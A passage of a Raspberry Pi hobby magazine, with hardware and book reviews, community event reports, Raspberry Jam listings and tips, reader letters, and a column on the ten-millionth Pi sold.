for kids’ use; though the latter, sadly, requires far more Sugru than is provided in the kit. The bundled sachets of Sugru are used like any other: wash your hands; cut open the foil sachet and remove the Sugru, which has a texture slightly softer than Blu-Tack; knead the Sugru between your fingers, mixing multiple packets together if you want a different colour or a higher volume of Sugru; press the Sugru against the surface to be covered, or between two surfaces if you’re taking the ‘mouldable glue’ tag line to heart; and finish by smoothing the Sugru using tools or your fingers, both wetted with soapy water. After around a day, the Blu-Tack texture has given way to a firm yet flexible rubber texture, with strong adhesion to the surface on which it dried. It’s here that the first issue becomes apparent: Sugru is quite difficult to remove from your fingers, and the dyes used can stain. If you follow the bundled instructions properly and rub your hands down with a paper towel before applying soap and water, you’ll find it easier, but it can still take considerable scrubbing before you’re properly clean. raspberrypi.org/magpi
There’s a value concern to raise, too. At £10/$15, the kit costs nearly as much as an eight-pack of Sugru (£12.99/$22) while providing less than half the raw material. Yes, the booklet is of a particularly high quality and the tin is nice too, but the Sugru website and regular newsletter both include far more project ideas than the booklet, while the tin’s usefulness is limited by the advice to keep unused sachets of Sugru in the fridge to extend their shelf life. Those who do wish to carry sachets of Sugru in their bag or pocket using the tin are, of course, free to do so, but can expect to be replacing unused but ‘stale’ sachets as a result. The Rebel Tech Kit’s true focus lies in two areas: as a gift, and as an introduction. As a gift it’s a great bundle: the inclusion of the tin, regardless of its questionable utility, raises what would otherwise be a fairly utilitarian collection of ‘mouldable glue’ into something worthy of a stocking filler. As an introduction to Sugru, the booklet fires up the imagination without the need to launch a web browser, though the four Sugru packs included will likely be quickly used up in the initial burst of enthusiasm.
Last word The Sugru Rebel Tech Kit is a fantastic idea, and the booklet makes a great introduction to its use. Better value can be found, however, in buying a standard multipack and browsing projects on the website.
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IOT PHAT magpi.cc/2cl06BV
£10 / $13 Maker Says Provides WiFi and Bluetooth connectivity for the Raspberry Pi Red Bear
IOT PHAT An easy way to add WiFi and Bluetooth to your Pi Zero ne of the best new features of the Raspberry Pi 3 is its built-in wireless LAN and Bluetooth. Wouldn’t it be great to have the same convenience on a Pi Zero (and other Pi models)? That’s the thinking behind Red Bear’s IoT pHAT. When mounted on the GPIO pins, this Zero-size board provides WiFi (802.11bgn / 2.4GHz) and Bluetooth (4.1 and BLE) connectivity. So you don’t need to use a dongle plugged into the Pi Zero’s solitary data microUSB port via a USB OTG adapter. The IoT pHAT is pretty much plug-and-play, coming pre-soldered with a 40-pin female header. Upon booting up, the Linux kernel reads the configuration from the on-board EEPROM and turns on the WiFi driver. You can then connect to your wireless router as usual, via the desktop panel icon or command line.
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You’ll need a USB OTG adapter to plug it into the Pi Zero, but it provides reliable WiFi connectivity, though not Bluetooth.
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While on our early model we needed to update the pHAT’s firmware via several terminal commands to get more stable WiFi and functional Bluetooth, any new boards shipped should already have this pre-installed and so work perfectly from the start. One caveat is that, at the time of writing, you’ll still need to add a line to the /boot/config.txt file to set the UART clock to 48MHz to activate Bluetooth, but this is due to be added to the next official Raspbian image. Once Bluetooth is working, you can pair devices – such as a keyboard, mouse, and gamepad – via the desktop panel icon or command line, as usual. In our tests, the IoT pHAT provided reliable and fast connections for both WiFi and Bluetooth, which is hardly surprising since it uses the same Broadcom 43438 wireless radio chip used in the Pi 3. The signal strength and quality from the on-
board antenna were fine, but can be improved by adding an optional external antenna kit ($9/£7) if needed. As the pHAT only uses 15 GPIO pins and leaves 11 free, including the I2C and SPI pins (see magpi.cc/2ckXvYH for details), it’s possible to stack it on top of most other add-on boards, such as the Enviro pHAT or Analog Zero, equipped with an extra-long stacking header.
Last word The IoT pHAT is a neat and convenient way to add WiFi and Bluetooth connectivity to your Pi Zero, while freeing up the data port. Using the same wireless radio chip as the Pi 3 results in reliable signal strength and quality via an on-board or optional external antenna.
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MICRO DOT PHAT magpi.cc/2cfq7Ob
£22 / $29 Maker Says An unashamedly old-school LED matrix display board Pimoroni
MICRO DOT PHAT A versatile mini LED display with retro appeal he LTP-305 LED matrices used with the Micro Dot pHAT boast a substantial heritage, having been introduced in 1971 by Texas Instruments. Now manufactured by Lite-On, they come in green and red varieties and feature 5×7 pixels plus a decimal point. Up to six can be mounted on the Micro Dot pHAT, included in the full kit (£22) or purchased separately for £5 per pair (the bare pHAT is just £8), so you could opt for fewer to suit your project’s needs. You’ll need to warm that soldering iron up, as the full set requires connecting 118 pins: 13 each for the matrices, plus a standard 40-pin female header. Since each matrix has a leg missing on one side, mirrored on the board, there’s no chance of accidentally inverting them. You’ll want to ensure they’re sitting flush, though. With the soldering done, it’s simply a matter of installing the software with a single terminal command. This loads the Micro
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Dot’s own Python library, plus optional example scripts, although for some reason we ended up having to download them manually. Running the flash.py script is recommended first, to check all the pixels are working. Other code examples demonstrate the display’s considerable capabilities and possible uses, including an excellent digital clock, animated bar graph, sine wave, and scrolling text – horizontal and vertical. The comprehensive Python library enables you to light individual pixels; it also includes options to alter brightness to fade text in and out, and use a tiny text mode to write smaller characters, rotated 90°. While the display’s high number of small pixels results in well-defined digits and letters, which look excellent when shown one per matrix, horizontally scrolling text isn’t quite so easily read due to the gaps between matrices. Other than that,
however, this is a very versatile retro-style display and certainly a cut above the standard sevensegment alternative. And since each pair of matrices is driven by an IS31FL3730 chip, talking to the Pi via I2C on addresses 0x61, 0x62, and 0x63, you should be able to use the display alongside many other boards, such as the Enviro pHAT.
Last word Apart from the slight difficulty in reading horizontally scrolling text due to the gaps between matrices, this is an excellent, highly versatile retro-style LED display. Superior to seven-segment LED displays, it renders characters in great detail and could come in useful for all manner of projects. You might even be able to play simple games on it, like Pong.
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BOOKS
RASPBERRY PI BESTSELLERS WROX PROFESSIONAL
Take your nascent coding skills up to the professional level with Wrox’s popular Professional Guides.
PROFESSIONAL PYTHON Author: Luke Sneeringer Publisher: Wrox Price: £33.99 ISBN: 978-1119070856 magpi.cc/2cCfozG One of the best intermediate Python books – this one really fills the gaps in your knowledge after your first tutorials and projects. Read the full review in issue 42.
PROFESSIONAL EMBEDDED ARM DEVELOPMENT Authors: James A Langbridge Publisher: Wrox Price: £33.99 ISBN: 978-1118788943 magpi.cc/2cCfJm8 A comprehensive introduction to Assembly language development on ARM-based boards like the Raspberry Pi, with plenty of background and information on essential tooling, though lacking updates on most recent processors.
PROFESSIONAL CLOJURE Authors: Jeremy Anderson, Michael Gaare, Justin Holguín, Timothy Pratley & Nick Bailey Publisher: Wrox Price: £33.99 ISBN: 978-1119267270 magpi.cc/2cCf3gz A book that makes you think, from the first chapter’s dive into thoughtful codeled examples, and covers web services, testing, and performance. Brings you closer to functional thinking.
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RASPBERRY PI
USER GUIDE Author: Eben Upton & Gareth Halfacree Publisher: Wiley Price: £16.99 ISBN: 978-1119264361 magpi.cc/2cCfdoi
The unofficial ‘official’ guide reaches a fourth edition, reflecting the rapid pace of Raspberry Pi development, but remains focused on the opportunity to learn the creative act of programming. Given that aim, the bare-bones board needs a manual, particularly for users and families with little experience of GNU/Linux, coding, or physical computing. Part I, The Board, will get you started; there’s chapters on the range of boards, connecting up, using Linux, troubleshooting (with its own chapter, as befits a serious
ELECTRONICS FOR KIDS Author: Øyvind Nydal Dahl Publisher: No Starch Price: £17.99 ISBN: 978-1593277253 magpi.cc/2cCf7wN
Looking for a book which teaches electronics practically through projects, without neglecting the theory and component knowledge, and does it in a way that will keep young readers interested, without talking down to them? Here it is. In the introduction, Joe Grand talks about the “hacker mindset – solving problems with unconventional solutions, pushing the limits of technology, harming no one, and learning through constant questioning and experimentation.” This book will help children to embrace that curiosity. Its clear and logical progression gives a good grounding in the basics of electronics, reinforced
manual), network configuration, the config tool, and advanced configuration. Only parts of this will be needed by most users, but when you do need to dip into this reference, Tip boxes and the occasional warning combine with clear listings and tables, and just enough screenshots, to help anyone get up and running. The chapter on setting up a web server has been dropped – possibly reflecting both the diversity of web server options and the simplicity of setting up common configurations – but media centre and productivity chapters remain. The short programming chapters (Scratch, Python, Minecraft) are model introductions, with good pointers to further reading. Hardware and physical computing round off a reference which will become as essential as its three predecessors.
Score through practical projects. Clear diagrams throughout complement a text full of explanations and project-based learning. The first project, an intruder alarm for your room, is delightfully hands-on, with an aluminium foil strip on the door and a guitar string as trigger wire. Each project features a troubleshooting section. Electromagnets, motors, shake generators, fruit batteries, destroying an LED, flashing a light, soldering, a transistor-based touch switch, and a sunrise wake-up alarm: these short projects lead you through discrete electronics. Then it explores integrated circuits with 555 timer-based musical projects, digital electronics with simple games, and a great introduction to logic gates and memory circuits, culminating in a reaction game. Enlightening and fun.
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FOR SECRET AGENTS Author: Matthew Poole Publisher: Packt Price: £23.99 ISBN: 978-1786463548 magpi.cc/2cCfOWM
Learning by doing goes even better when fun and motivation combine in mini-projects: here the projects are spy gadgets or simple pranks, and this update over the previous edition (reviewed in issue 32) adds in the miniaturised Pi Zero for even better gadgets, as well as the Pi 3. It’s an interesting collection of projects, which reaches areas of Linux and computing not touched upon by many similar titles. The first chapter introduces the Pi and setting up, but jumping to chapter 2 for the audio projects there you get an introduction to
CREATING BLOGS WITH JEKYLL Author: Vikram Dhillon Publisher: Apress Price: £27.99 ISBN: 978-1484214657 magpi.cc/2cCeUcO
If you’re fed up with WordPress plugin problems and slow page loads, you’ve probably thought about a static blog. Static blogging, with its philosophy of leveraging your coding knowledge and letting almost nothing get in the way of the writing, is a great way of getting back control of your publication platform. This book is about much more than simply setting up a static blog, starting with somewhat laboured chapters of background on how the internet got where it is, but it contains useful material of real interest. raspberrypi.org/magpi
the Linux sound architecture, and then using its components for a number of pranks in bitesize projects. Video follows, both with the Pi Camera and controlling a TV through the HDMI interface. Then the Pi goes ‘offroad’ with some “stealthy reconnaissance missions”. From radio jamming to tracking the Pi, projects are fairly software-centric, and therefore require little in the way of other components until the final chapter’s GPIO-based projects, including a laser trip wire and an LED matrix to display secret messages. Along the way, readers can pick up tips about real random number generation, along with useful ways of connecting the Pi to the world, like SMS gateways.
Score Jekyll’s competitors, including the Python-powered Pelican, get a fair examination, and technologies necessary for static blogging – Markdown, Git, and styling tools like Bootstrap, Foundation, SASS, and LESS – are introduced, before Jekyll itself is installed and examined in a concise roundup. The Projects section presents interesting use cases which walk through the practicalities in a more applied way and, after skimming earlier sections, are probably where most readers will spend their time. This section combines the practical (tags, Git, theming, Mailchimp, gem, Bundler, etc.) with food for thought on platforms for open debate, open research, and open healthcare. Walk through the examples to gain a real appreciation of Jekyll’s potential.
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SQL
Relational databases remain the essential but unglamorous workhorses behind the Web of Things
Beginning SQL Queries: From Novice to Professional Author: Clare Churcher Publisher: Apress Price: £19.99 ISBN: 978-1484219546 magpi.cc/2cCgwmY Great coverage of all the key topics in querying SQL databases, in a reasonably beginner-friendly style.
MySQL Cookbook Author: Paul DuBois Publisher: O’Reilly Price: £56.99 ISBN: 978-1449374020 magpi.cc/2cCfpUt DuBois gives the right balance between great examples and clear explanations of the theory behind them.
Introduction to Databases Author: Jennifer Widom Publisher: Stanford OpenEdX Price: Free ISBN: N/A magpi.cc/2cCh3Fu One of Stanford’s three inaugural MOOCs, now split into self-paced ‘mini-courses’, covering different aspects of databases.
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Server Programming
Author: Usama Dar, Hannu Krosing, Jim Mlodgenski & Kirk Roybal Publisher: Packt Price: £30.99 ISBN: 978-1783980581 magpi.cc/2cCguLO Very good guide to working with PostgreSQL in Python, Perl, Tcl, C, and C++, as well as PLpgSQL.
The Practical SQL Handbook Author: Sandra L Emerson, Judith S Bowman & Marcy Darnovsky Publisher: Addison Wesley Price: £43.99 ISBN: 978-0201703092 magpi.cc/2cCg1tk This edition – after 15 years in print – remains one of the best SQL references, whatever implementation you use.
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THE MONTH IN RASPBERRY PI Everything else that happened this month in the world of Raspberry Pi
CREATE VIRTUAL ASTRO PI
The next ISS crew member to take on Astro Pi will be French ESA astronaut Thomas Pesquet
s we’ve said many times, while Tim Peake’s mission may be over, Astro Pi lives on. The next step involving French astronaut Tom Pesquet is gaining steam. One way in which Dave Honess, head of Astro Pi at the Raspberry Pi Foundation, wants to improve participation is by creating a virtual version of the Sense HAT that you can use to program with Python. There are two versions: a web-based one that can be used anywhere (magpi.cc/2cA6bIb) and a module for Python that you can actually program on the Raspberry Pi (magpi.cc/2d6vXaa). This Python module variant also works better with older Raspberry Pis, without needing the extra bit of oomph required to power the web version. The software allows students to program the Sense HAT without actually owning one and as it’s all Python-based, it works exactly the same and allows the code to be loaded onto a Raspberry Pi with a Sense HAT attached, albeit with the line of code to import the relevant module removed. This means it also works with other projects that bridge the Sense HAT with another piece of software via Python, such as Minecraft. There’s no time like the present to start playing with a Sense HAT!
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SCIENCE WITH SENSE HAT Want to find out just what you can do with the Sense HAT? We have an Essentials book just for you – Experiment with the Sense HAT takes you from the basic steps, all the way to controlling Minecraft Steve using one. It’s available as a free PDF ebook as well as a printed book. Find out more here: magpi.cc/Sense-HAT-book
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CROWDFUND THIS! The best crowdfunding hits this month for you to check out…
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This is a fun little Kickstarter: Cool Buttons are lightup buttons for hobby electronics projects, just like the kind people make on the Raspberry Pi. Its creator Jessica Kedziora believes the ones she’s crowdfunding here are the perfect project buttons: easy to install and with the perfect press feeling to them. They come in pre-arranged strips so you can easily scale 3D-printed control cases for them. Give them a look; they may be the thing your project is needing.
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“During development/research for a project which needs more than one UART port, the common replacement for the Raspberry Pi is the Arduino MEGA,” the Kickstarter pitch goes. “This is because the MEGA provides four UARTs which can be used at the same time, creating a multi-UART device.” Instead of making that switch and to keep using the Raspberry Pi, Tony Chang has created a series of HATs that can add one, two, or four UARTs to a Raspberry Pi. At the time of writing, it’s nearly funded, so maybe you can make the difference?
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HUBPIWI BLUE kck.st/2bsXrEw
What the Raspberry Pi Zero does for its size and price is absolutely amazing. The HubPiWi Blue (say that three times fast) offers to make it even better with a diminutive HAT that adds an extra few USB ports, along with a wireless LAN and Bluetooth radio chip. The USP of the HubPiWi is that you don’t need to attach it to the GPIO ports: just screw it to the Pi Zero and it makes contact with the USB and power pads on the circuit board to add the extra features. raspberrypi.org/magpi
WORLD’S SMALLEST MAME ARCADE CABINET This is amazing. No larger than a Raspberry Pi Zero, this ever so tiny MAME cabinet can play many classic games using tiny buttons and a tiny joystick, all displayed on a 0.96˝ OLED screen. Fiddly but extremely cute. We want ten (as we’ll inevitably lose some).
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FIRE PONG We’re reminded of the episode of Friends with Fireball, though this has no real balls involved. The aim of the game is to ‘bat’ back the flame with the correct timing. If you miss, a huge puff of flame goes off. First to three wins. Just don’t set yourself on fire.
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MOSI MAKEFEST: LEARNING • MAKING • INSPIRING How do you get children excited about science, coding, and making? Just take them to a MakeFest for some hands-on fun akeFests and Maker Faires, along with other handson events that combine Raspberry Pis, fun science, and imaginative hardware projects, are a family-friendly way of trying your hand at a range of skills and, with bit of imagination, seeing what you can produce. The MakeFest at MOSI, Manchester’s Museum Of Science and Industry, benefits from a backdrop of historic science and engineering; the event was buzzing with excited children, inspiring projects, and a mellifluous cacophony of mechanical sounds. Beneath a giant screen of Minecraft modder Mr Brutal’s recreation of the historic 1830s Liverpool to Manchester rail journey was everything from 3D printing demonstrations to potato balancing (food allergy notice: “Potatoes are used in this experiment”). The Raspberry Pi was seen attached to several screens full of Minecraft, but was also quietly keeping score on DoES Liverpool’s NERF shooting range of MakeInvaders. The 50th anniversary working recreation of Baby, the world’s first storedprogram computer, filled one end of MOSI’s foyer; once again, it was kept company by York Hackspace’s Baby emulator, as well as their “game of co-operative shouting”, the Pi-powered SpaceHack [see The MagPi #39]. The soundtrack of the room was an anvil chorus of hammering at PatternCraft.
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MINECRAFT, STEAM, AND PATTERNCRAFT Minecraft filled MOSI’s entrance hall with kids creating and coding. FACT – Liverpool’s Foundation for Art and Creative Technology – and digital artist Ross Dalziel filled the place with Raspberry Pis. Every table had kids and families absorbed in using Python, via Martin O’Hanlon’s mcpi API, to create 1830s carriages to go with the Liverpool to Manchester railway theme. Their Pi HAT links sensors from the real world to that of Minecraft; with its own wireless connections, it can be used in schools to bypass locked-down networks, and in other projects. Children also discovered the pleasure of hammer + punch = noise at Gemma May Latham’s PatternCraft, a collaboration with STEM ambassador David Whale (the well-known @WhaleyGeek on Twitter). This has produced a punch card reader for the Pi, bringing together the links between textiles, code, and Minecraft.
RESOURCES Adventures in Minecraft: magpi.cc/2cymqYJ By David Whale, Martin O’Hanlon Minecraft of Things: magpi.cc/2cyjFGP PatternCraft: magpi.cc/2cylmE7
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Another MOSI replica ran outside: Robert Stephenson’s 1830 Planet, the first steam locomotive to employ inside cylinders. Inside the station building you could make your own planet from Plasticine, and Bolton-based community enterprise Brightmet Long Arm Quilting Studio appealed to all ages with plenty of tactile materials and colourful acrylic paint, to produce printed fabric pieces to take away. Between them, The Hive’s Pi-based popup coding studio had Python and Scratch introductions. Making a musical instrument involves a long apprenticeship, but deconstructing one is something all makers can try! Noisy Toys, a star of last year’s MakeFest [see The MagPi #38], used wires attached to CPU fans to pluck piano strings; the sound was fed through the modulators of an old synth. Throughout the weekend, you could help to build and code a string section for the Manchester Robot Orchestra; to hear the completed orchestra, look for announcements on the @robotsmcr Twitter feed. For lower-tech instruments, Musical Carrots were constructed from hollowed out root vegetables, a paper ‘reed’, and an elastic band. The glove-a-phone, ‘bagpipes’ made from a length of plastic plumbing pipe and a surgical glove, was demonstrated against the backdrop of the mighty industrial engines in MOSI’s Power Hall, while The MagPi watched a team of raspberrypi.org/magpi
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Noisy Toys hooked hardware to piano strings and processed the sounds through analogue synth boards for intriguing new tones
volunteers training young people aged 12 and up to solder, making a flashing light badge. Nearby were laser cutter demonstrations with wooden robots, people making metal detectors, a micro:bit robot which responded to hand claps, and CodeBug workshops for children as young as five, as well as K’NEX models of steam engines and some old-school Meccano models.
There were a lot of kids getting involved at the MakeFest
Hack Oldham’s work with Age UK training kids in these traditional skills through cross-generational workshops, and talked about the “create, don’t consume” ethos which unites all of the diverse community of makers found at the event. With a chance to make textile art, try embroidery, and hand-stitch (and re-engineer) toys, some families spent hours here.
FACT’s digital artists created the Minecraft of Things with eager young Python programmers
Nearby, everything from LEGO to plastic figures was repurposed and motorised by John Walton The fabric of makers
In the Textiles gallery, clustered around the cotton looms of the industrial revolution cranked into rather noisy life by museum staff, several MakerSpaces were demonstrating their spin on some of humanity’s oldest technologies with threads and fabrics. Weaving your own phone case on the Lancaster And Morecambe Makers (LAMM) table was an ideal introduction to the pre-industrial version of what was seen at scale in the MOSI displays. Hack Oldham’s Mike Healy told The MagPi: “People have a perception of making as all about digital and physical computing, but traditional skills are just as important: the maker community is about skills.” Mike told us about raspberrypi.org/magpi
Nearby, everything from LEGO to plastic figures was repurposed and motorised by John Walton, and no one could walk past his Toy Hacker stall without pressing a button to make one of the toys come to life. Next door was another stack of Pis on the Exa Foundation’s stall. There, Alan Donohoe of Raspberry Jam fame used Monk Makes kits, Python, Minecraft, and an inexhaustible supply of handy metaphors, and spent a busy weekend introducing families to coding and physical computing. In this, he was ably assisted by 16-year-old Louis, a veteran of many Raspberry Jam events who has a real passion for computing. If there’s a maker event coming up near you, don’t miss the chance to take your family and inspire the next generation.
Moving melanges of motorised toys make an irresistible button press
MakeFest provided plenty of quirky fun – who knew you could make a clarinet out of a carrot?
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AN INTERVIEW WITH JAMES MITCHELL JAMES MITCHELL A Scottish-born, Berlin-based, software quality assurance engineer, he’s the organiser of the Raspberry Jam Berlin running for the last two years.
Practical tips for setting up a Raspberry Jam from James Mitchell, a Scot living in Berlin e catch up with James Mitchell, a face you may recognise from the pages of The MagPi, about the Raspberry Jams he stages in Berlin.
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“I had been following the Raspberry Pi since the first BBC news report showing the prototype. At the time, I was looking for an affordable solution to learn Linux without having to reinstall my laptop’s operating system. You could say it was love at first sight. “After owning a Raspberry Pi for a few months, I started to search like others do for tips, tricks, and tutorials online. It’s then I Pi camera; I have a little obsession with photography and I’m particularly fond of time‑lapse. My kids also started to get involved with the Raspberry Pi. They’re still a little young yet, but I love that they stay enthusiastic.” Why did you decide to start the Berlin Raspberry Jam? “It really was the lack of events in and around Berlin that got me going. I really wanted to attend one of the UK Jams, as it seemed full of like-minded people willing to help each other and learn new things, something we sorely lacked here. “I did later manage to attend the Raspberry Pi Birthday Parties in Cambridge. While considerably larger than most Jams I’ve heard about, it was totally amazing to meet the community and it reinforced the sense of belonging I had been looking for. “On 5 July 2014, I held the first Raspberry Jam Berlin in a coworking office that offered their space on the weekends for free if you didn’t charge for tickets. I had some Pis set up with various
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add-on boards and we also had a few talks about the Raspberry Pi. “The first Jam had some talks about how to use the Raspberry Pi, others highlighting certain add-on boards, and a talk about installing Flask. I also had some workstations set up so people that didn’t have a Pi could just take a look and see what it’s all about.
My favourite thing about Raspberry Jam is meeting different people and seeing those projects that are getting pushed beyond my own understanding. Also, being able to help new people get interested in the Raspberry Pi is rewarding. It’s very satisfying to know someone has left the Jam inspired!”
Find your like-minded corner of the community and, with their help, expand if you want Later, we got robots and project show-and-tells. “The Berlin Jam does alright – on average, 25 people – but I had found that in summer months there are a lot fewer people attending. I guess they tend to be on holiday or would rather enjoy the awesome Berlin summer weather. “It does get a little stressful when you have low numbers, but the key is to ignore the numbers and just enjoy the moment. If one person shows up and they walk away inspired, it’s a job well done.
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What advice would you have for someone setting up a Jam in their area? “Start small and have a clear idea’re in it to have fun!”
SETTING UP YOUR OWN JAM: JAMES’S TOP TIPS 01. GET HELP: It’s OK to start things off on your own, but it can get quite overwhelming when you get to an event with over 15-20 people. Make sure you have someone around who is willing to take tasks from you.
02. COMMUNICATION IS KEY: Make sure you get out there and communicate with your little part of the community. If they don’t know what’s going on, they won’t be able to attend your Jam. Give dates well in advance and if you need help, make sure your community knows. You never know who’s willing to help.
03. KEEP SOCIAL: It still amazes me how effective social media is in bringing new faces to my Jam. Really keep tabs on your accounts and keep them up to date.
04. DON’T FORGET TO HAVE FUN: It’s easy to get lost in all the items you have to take care of for a Jam. Make sure you make time for your own projects, too.
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FIND OUT ABOUT JAMS Want a Raspberry Jam in your area? Want to start one? Email Ben Nuttall about it:
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HIGHLIGHTED EVENTS EAST LONDON RASPBERRY JAM
When: Saturday 22 October Where: Barking Library, Barking, UK magpi.cc/2ci9Mdd A four-hour event for those who like programming, coding, and technology. Learn how to program Minecraft and GPIO Zero.
RAYLEIGH RASPBERRY JAM
When: Saturday 22 October Where: Rayleigh Library, Rayleigh, UK magpi.cc/2cvTiBf See projects from Rayleigh Library Code Club and get a hand with programming your own stuff.
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When: Sunday 23 October Where: Hillcrest Community Centre,
RASPBERRY JAM PRESTON
When: Monday 3 October Where: Media Innovation Studio,
Newhaven, UK magpi.cc/2cvTGjn An event for people who want to get their hands on and try out the Raspberry Pi, while seeing some great projects.
Preston, UK magpi.cc/2bmQZfA Learn, create, and share the potential of the Raspberry Pi at a family-friendly event.
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Columbia, SC, USA magpi.cc/2cvURzs An event that will bring students, teachers, makers, hobbyists, and others together to learn about the Raspberry Pi.
College, Leeds, UK magpi.cc/2bmQXEI Everyone is invited for a couple of hours of computing fun, talks, demonstrations, and hands‑on workshops.
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When: Saturday 8 October Where: Paignton Library and Information Centre, Paignton, UK magpi.cc/2ci8aQx A fun, informal, and family-friendly event that aims to inspire people to get into code and take up STEM subjects.
12TH EGHAM RASPBERRY JAM
When: Sunday 16 October Where: Gartner UK HQ – The Glanty, Staines-upon-Thames, UK magpi.cc/2ci9rH6 The theme of this Raspberry Jam is Winter Fun – think Halloween, Bonfire Night, and cold weather!
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FILL IN THE GAPS! SCOTLAND NEEDS RASPBERRY JAMS Raspberry Pi community manager Ben Nuttall would like you to help us spread Raspberry Jams around the country; one area that could do with more is Scotland. If you’re handy with a Raspberry Pi and know others who are, why not start your own Jam? If you’re keen, email ben@ raspberrypi.org about it and see page 87 for some top tips on how to get started.
The Glasgow Raspberry Pi Day was great – let’s get more Jams in Scotland!
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TIM RICHARDSON & MICHAEL HORNE Tim and Michael are the guys responsible for the Cambridge Raspberry Jam, CamJam kits, and the Birthday Bash extravaganzas!
Tim & Michael Names: Tim Richardson & Michael Horne
Category: Event organisers Day job: Michael is a web developer while Tim works as a performance architect.
Website: c amjam.me @Geeky_Tim @recantha Below Tim is most proud of this Weather Clock, a swish-looking display of numbers and icons that indicate the date and time, along with both current and forecast weather conditions
ichael Horne and Tim Richardson have become regular faces within the Raspberry Pi community, and with good reason. For those local to the Cambridge area, the pair are best known for running for the city’s Raspberry Jam – The CamJam – as well as events such as the Birthday Bash and the successful Pi Wars, the next instalment of which is due in April 2017. They’re also responsible for many photos and videos you’ll have seen on our blog over the years. Those further afield may have found themself in possession of a CamJam EduKit from The Pi Hut. Available in several varieties, and accompanied by educational
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PI WARS On 8 September, Michael and Tim demonstrated some of their projects and kits at the #10MillionPi House of Commons celebrations
on Raspberry Pi products, projects, or updates, Michael’s website, recantha.co.uk, is most likely to be sitting in your browser history. For the pair, the Raspberry Pi was a subject of interest pre-launch, with both ordering one from the start. Tim, the eager tinkerer, began his Pi journey from delivery day, while Michael admits to letting his collect a little dust before finally
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The popular robotics competition allows teams of Raspberry Pi enthusiasts to battle head to head in a series of non-destructive challenges. Rolling into its third year, the next Pi Wars is set to run across the first weekend of April 2017.
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From a small room at the Centre of Mathematical Sciences to multiple rooms and hundreds of attendees, the Cambridge Raspberry Jam continues to grow within the birth town of the Pi. The EduKit range – providing everyone with the necessary components to learn LED coding, sensors, and more – is available via The Pi Hut.
RASPBERRY PI BIRTHDAY BASH
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Cake, project builds, and merriment: the Raspberry Pi Birthday Bash’s continued success draws people from across the globe to join the team in celebrating the Raspberry Pi, the community, and the future.
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YOUR LETTERS Counting the votes
I think it’s really great that you have the community involved with voting for the top 20 Raspberry Pi projects for this issue. There’s a project missing from the list of 30 I’d have liked to have seen, though. Is there any way we could have another selection of excellent projects and add a few extra ones to it?
Henry Simmons
We had a few people ask us if a project was going to be in the list somewhere; hopefully, any ones you thought should be on there ended up being one of the 50 projects we had in the final list. To be honest, we could probably have another 50 projects in the list that are just as good as the selection already there, but we had to make some tough choices. When will we do it again? Well, maybe watch this space for our 100th issue; no promises, though. There were a few projects people suggested which were newer and hadn’t been in the magazine; if you do have a cool unique project, just drop us a line at magpi@raspberrypi.org and we’ll have a look at it.
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Hi there MagPi. I live in Australia and I have subscribed via the MagPi iOS app. The ad in The MagPi magazine suggests I can access all 30 previous editions, but that doesn’t seem to be the case on the iPad. Can you please set me straight: what am I missing?
Damian Jolly
Hi Damian: the ad is referring to the first 30 issues of The MagPi. If you scroll down on the main page with all the magazines listed, you’ll be able to find these issues and you can just download them. While they’re available on the app, you can also get them and every other issue of The MagPi absolutely free on our website as PDFs, although the reading experience on tablets and phones is slightly better on the app, we reckon.
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Congratulations on the sale of ten million Raspberry Pis! I remember when there was five million last February and how that was still an amazing number. 20 million soon, hopefully! I was just wondering what sort of releases we’d see over the next couple of years now that marvellous milestone has been achieved; will there be a Model 3A? What’s happening with the Compute Module 3? It’s all very exciting.
Sue H
We briefly mentioned it here in the letters section last issue, but the Compute Module 3 is still very much happening. According to Eben, “production orders are in, and we’re just waiting for output dates from Sony,” so hopefully it will be around in the next few months. As for the 3A, apparently they’re still being planned and haven’t gone to production yet. They will be a thing, though! Keep an eye on the Raspberry Pi blog and the magazine for more info for when either are actually out.
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I’ve seen that you have a new range of The MagPi Essentials books, but they’re not in print yet. I really love the print versions of the older Essentials books; are you going to be bringing the next set out in print to buy? They go down a storm at my Code Club!
Marie
The printed versions of Learn to Code with Scratch, Hacking and Making with Minecraft, and Simple Electronics with GPIO Zero are on their way! We don’t have a set date for them at the moment, but as the last set of printed Essentials books went down so well, we’re really looking forward to doing it again.
PIPIN FOR GPIO The Raspberry Pi Forum is a hotbed of conversations and problem-solving for the community - join in via raspberrypi.org/forums
’m a rank newbie at 60+ years old, and a tech by trade, so I think I can ‘get’ this stuff. I saw a program in The MagPi a couple of months back called pipin, I think - which shows the status of the GPIO inputs and outputs. It uses the NPM packaging, but I’m reading all this stuff and it isn’t making much sense. Can someone tell me how to invoke (run) the program? I’ve installed NPM and pipin, and now I’m lost. Regards,
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It looks like pipin was on a Raspberry Pi weekly newsletter rather than the magazine. There’s a helpful man page on the NPM website for pipin that should be able to help you out; you can check it out here: magpi.cc/2cCdu27. Some of the useful commands include pipin --list, which will list all available GPIO options. You can also bring up a schematic with pipin --model rpi3, specifically for the Pi 3. As for using it, it looks like you can set different pins to be a particular state (high or low) or read the state of the pin (again, high or low). Look at the man page for more examples; hopefully they will help!
WRITE TO US Have you got something you’d like to say? Get in touch via magpi@raspberrypi.org or on The MagPi section of the forum at: raspberrypi.org/forums Above If recent trends continue, the 3A will look a lot like the existing A+
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TEN MILLION Matt Richardson explains how the first ten million Pis will have lasting effects ast month, the Raspberry Pi Foundation hit a major milestone by selling its ten millionth computer. Besides taking the opportunity to celebrate – and that we did – it’s also a good time to reflect on the impact that the device has had over the last four and a half years. As you may know already, we don’t just make an ultra-affordable computer. Our mission is to put the power of digital making into the hands of people all over the world; the Raspberry Pi computer helps us do that. There are many ways in which the Raspberry Pi has a positive impact on the world. It’s used in classrooms, libraries, hackspaces, research laboratories, and within the industrial environment. People of all ages use Raspberry Pi in these contexts and others, to learn about computing and to create things with computers that we never could have imagined. But I believe the biggest impact we’ve had was to encourage more people to experiment with computers once again. It used to be that in order to use a computer, you had to have a fairly good working knowledge of how it worked, and often you needed to know how to program it. Since then, computers have become much more mainstream and consumer-friendly. On the one hand, that change has had an incredible impact on our society, giving more people access to the power of computing and the internet. However, there was a trade-off. In order to make computers easier to use, they also became less ‘tinker-friendly’. When I was a kid in the 1980s, our family had an old IBM PC in our basement, that was decommissioned from my father’s workplace. On that computer, I learned how to use the DOS prompt to work with files, I created my own menu system out of batch files, and most importantly, I learned my first ever programming language, BASIC.
